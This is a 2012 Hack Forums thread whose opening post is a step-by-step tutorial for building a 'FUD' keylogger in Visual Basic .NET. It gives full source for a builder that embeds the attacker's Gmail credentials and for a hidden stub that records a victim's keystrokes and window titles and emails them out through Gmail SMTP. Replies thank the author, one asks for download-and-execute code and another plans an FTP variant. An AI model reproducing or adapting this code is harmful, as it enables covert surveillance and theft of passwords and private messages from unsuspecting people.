

Forum:[Hack Forums](#)

Thread: [\[TUT\]How To Make Your Own FUD Keylogger in Visual Basic. \[TUT\]](#)

Justice - February 22, 2012, 12:23 pm

Full credit does not go to me.

Hello everyone, today i will be showing you how to create your own FUD keylogger. Hope you enjoy. Also give me some feed back. Thanks.

This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it – when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista

1. STEP

Download Visual Basic Express Edition 2008 for free [HERE](#) if you didnt already.

2. STEP

Run Visual Basic

In Tab click File > New Project

Windows Application > “Keylogger Builder” > Click Ok

3. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle

MaximizeBox = False

MinimizeBox = False

Show Icon = False

StartPosition = CenterScreen

Text = Keylogger Builder

Explanation:

From the Toolbox add:

TextBox1 – The GMail Username textbox
Textbox2 – The Gmail Password textbox
Button1 – The Build button, Change text to: Build
Label1 – Change text to: Gmail Username
Label2 – Change text to: Gmail Password
Explanation:

4. STEP

Now when you add all these, on top of code add:

Code:

Imports System.IO

Now under Public Class Form1 add following code, that would be strings:

Code:

Dim stub, text1, text2 As String

Const FileSplit = "@keylogger@"

Now when you done with that, just simply double click Button1 and add:

Code:

text1 = TextBox1.Text

text2 = TextBox2.Text

FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)

stub = Space(LOF(1))

FileGet(1, stub)

FileClose(1)

If File.Exists("Server.exe") Then

My.Computer.FileSystem.DeleteFile("Server.exe")

End If

FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite,
OpenShare.Default)

FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)

FileClose(1)

MsgBox("The Server.exe is builded!")

Now you got your builder and now lets move to Stub.

5. STEP

Run Visual Basic

In Tab click File > New Project

Windows Application > "Stub" > Click Ok

6. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow

StartPosition = CenterScreen

Text = (no text)

WindowState = Minimized

Explanation:

From the Toolbox add:

Textbox1 – KEY LOGGER(follow everything what victim write)

Textbox2 – GMail Username

Textbox3 – GMail Password

Timer1 – Upload Interval

Timer2 – Get name of window where keylogger get keys(userful)

Timer3 – Get Keys

Explanation:

Timer1 Interval = 900

Timer2 Interval = 100

Timer3 Interval = 100

7. STEP

Now when you add all these, on top of code add:

Code:

Imports System.IO

Imports System.Net.Mail

Now under Public Class Form1 add following code, that would be strings:

Code:

Dim options(), text1, text2 As String

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

Const FileSplit = "@keylogger@"

Now double click Timer1 and write following code:

Code:

Dim MailSetup As New MailMessage

MailSetup.Subject = My.Computer.Name & ":"

MailSetup.To.Add(TextBox2.Text)

MailSetup.From = New MailAddress(TextBox2.Text)

MailSetup.Body = TextBox1.Text

Dim SMTP As New SmtpClient("smtp.gmail.com")

SMTP.Port = 587

SMTP.EnableSsl = True

SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)

SMTP.Send(MailSetup)

TextBox1.Clear()

And add this as Function to source code:

DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW:

<http://www.mediafire.com/?hyr22ivdg2m>

Code:

Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr

```

Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As
Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

```

Now double click Timer2 to get names of active windows:

Code:

```

If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]" + vbNewLine
strin = GetActiveWindowTitle()
End If

```

Now double click Form1 and write following code:

Code:

```

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read,
OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()

```

Now double click Timer3 and past code:

Code:

```

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

```

8. STEP

You are done! ?

Credit: <http://www.governmentsecurity.org/forum/...ual-basic/>

opejporjdwepkq3je - February 22, 2012, 12:27 pm

Have you by any chance the source (download + execute) ,

sorry for my bad english

Malzaharr - February 22, 2012, 12:33 pm

Gonna try this tomorrow, cuz I'm going to sleep now!

Nice and detailed TuTorial

Justice - February 22, 2012, 12:33 pm

(Feb 22, 2012 01:27 PM)opejporjdwepkq3je Wrote: [\[CITE\]](#) Have you by any chance the source (download + execute) ,

sorry for my bad english

Yes i do, i am off to class right now, but i will update the OP when i get home.

Talk to you soon.

Justice - February 22, 2012, 2:43 pm

(Feb 22, 2012 02:27 PM)1nf3ct3d Wrote: [\[CITE\]](#) hood for newcomers...and fresh for noobies...
Lol, i totally agree my friend. Hope it helps everyone ;D

Incendiary - February 22, 2012, 4:53 pm

Thanks bro Gonna try this out! Going to edit the post when done! :D
thanks anyway Justice! :D

IrmbedicEvo - February 22, 2012, 4:54 pm

this is too much work for me haha. well nice tut bro!

SIM-747559 - February 22, 2012, 4:55 pm

Seems like a great TUT! Love these sort of TUTs that provide vb.net newbies the opportunity to copy/paste and learn a little bit! Thanks for this.

Justice - February 22, 2012, 4:56 pm

(Feb 22, 2012 05:53 PM)Incendiary Wrote: [\[CITE\]](#) Thanks bro Gonna try this out! Going to edit the post when done! :D

thanks anyway Justice! :D

Awesome, please do. And it's my pleasure. ;D Hope i have helped!

(Feb 22, 2012 05:53 PM)Incendiary Wrote: [\[CITE\]](#) Thanks bro Gonna try this out! Going to edit the post when done! :D

thanks anyway Justice! :D

Awesome, please do. And it's my pleasure. ;D Hope i have helped!

Water - February 23, 2012, 8:07 pm

Nice...to many words lol. Vouch for justice

TheNeutron - February 23, 2012, 8:16 pm

Nice tutorial. I don't really understand most of it but thanks. :D

Justice - February 23, 2012, 8:36 pm

(Feb 23, 2012 09:16 PM)Hack0pz Wrote: [\[CITE\]](#) Nice tutorial. I don't really understand most of it but thanks. :D

lol, my pleasure bro, wish you could understand it ;/

Much love, justice.

ryck - February 23, 2012, 9:18 pm

Nice one man i will try this out soon!

Thanks for sharing!

Bullspit2346 - February 23, 2012, 10:12 pm

Great help brother me try to build one with FTP function

Justice - February 23, 2012, 10:17 pm

(Feb 23, 2012 11:12 PM)Bullspit2346 Wrote: [\[CITE\]](#) Great help brother me try to build one with FTP function

Awesome man, i'm glad to hear this helped. =]

king_hendra - February 24, 2012, 5:54 am

Now when you add all these, on top of code add:

Top of code ?? how to open the code im very noob at those

Dark Molecule - February 24, 2012, 9:12 am

this is getasynckeystate..really heavily detected code there but granted it is a public source, and why is this in keylogging and not in the vb.net code section either way nice post OP :)

Justice - February 24, 2012, 9:51 am

(Feb 24, 2012 10:12 AM)Dark Molecule Wrote: [\[CITE\]](#) this is getasynckeystate..really heavily detected code there but granted it is a public source, and why is this in keylogging and not in the vb.net code section either way nice post OP :)Thanks for the feedback, I think you're right, this should of been in the vb.net section

I think ill consider moving it.

KiruKashi - February 24, 2012, 11:01 am

I'll give this a try.

Thanks Justice.

vouch for you.

btw what's the name of the .dll?

For Windows underneath of 7 & Vista?